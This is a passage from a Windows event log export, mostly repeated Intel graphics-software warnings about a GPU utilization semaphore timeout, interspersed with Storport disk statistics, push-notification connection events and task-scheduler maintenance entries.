refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:45.615\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:45.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:46.058\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:46.279\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:46.483\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:46.706\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:46.930\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:47.151\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:47.374\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:47.598\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:47.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:47.973\t505\t\"Performance summary for Storport Device (Port = 0, Path = 0, Target = 0, Lun = 0) whose Corresponding Class Disk Device Guid is {d10f1580-d0d5-c67f-846a-8d6faaba20dc}:                 \nTotal IO:269588                 \nFor latency buckets of 128us, 256us, 512us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 512ms, 1000ms, 2000ms, 10000ms, 10000+ms,                 \nThe IO success counts are 181832, 57992, 13735, 4822, 4020, 4205, 2946, 36, 0, 0, 0, 0, 0, 0.                 \nThe IO failed counts are 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.                 \nThe IO total latency (in 100ns) are 93759011, 97723116, 48268646, 33886515, 83711026, 341707622, 1030573359, 23610946, 0, 0, 0, 0, 0, 0.                 \nTotal Bytes Read:8018466816                 \nTotal Bytes Written:2129373184\"\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:39:47.973\t504\t\"Error summary for Storport Device (Port = 0, Path = 0, Target = 0, Lun = 0) whose Corresponding Class Disk Device Guid is {d10f1580-d0d5-c67f-846a-8d6faaba20dc}:                     \nThere were 3 total errors seen and 0 timeouts.                     \nThe last error seen had opcode 0x1A and completed with SrbStatus 0x6 and ScsiStatus 0x2.                     \nThe sense code was (0x5,0x24,0x0).                     \nThe latency was 1 ms.\"\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:39:48.042\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:48.271\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:48.484\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:48.708\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:48.928\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:49.151\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:49.371\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:49.593\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:49.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:50.154\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:50.401\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:50.596\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:50.821\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:51.156\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:51.376\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:51.709\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:51.768\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:51.769\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:51.769\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:51.787\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:51.931\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:52.158\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:52.486\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:52.713\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:52.930\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:53.157\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:53.376\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:53.489\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:53.829\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:53.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:54.157\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:54.492\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:54.824\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:55.045\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:55.265\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:55.491\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:55.711\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:55.936\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:56.158\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:56.382\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:56.599\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:56.691\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:56.904\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:57.155\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:57.351\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:57.573\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:57.792\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:58.014\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:58.235\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:58.456\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:58.680\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:58.900\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:59.126\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:59.349\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:59.569\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:59.789\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:00.012\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:00.233\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:00.344\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:00.567\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:00.798\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:01.023\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:01.126\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:01.348\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:01.570\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:02.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:02.239\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:02.458\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:02.682\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:03.166\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:03.347\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:03.575\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:03.794\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:04.351\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:04.576\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:04.793\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:05.022\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:05.244\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:05.460\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:05.685\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:05.795\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:06.017\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:06.351\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:06.466\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:06.685\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:06.879\t800\tMaintenance state changed to 3 (Last Run: \u200e05.\u200e09.\u200e2026 8:40).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:40:06.921\t800\tMaintenance state changed to 1 (Last Run: \u200e05.\u200e09.\u200e2026 8:40).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:40:08.029\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:12.157\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:19.480\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:20.378\t1002\tError 0x80070002 occurred while verifying known folder {0ddd015d-b06c-45d5-8c4c-f59713854639} with path 'C:\\WINDOWS\\system32\\config\\systemprofile\\Pictures'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:40:22.338\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:23.450\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:24.318\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:25.213\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:25.657\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:25.879\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:26.101\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 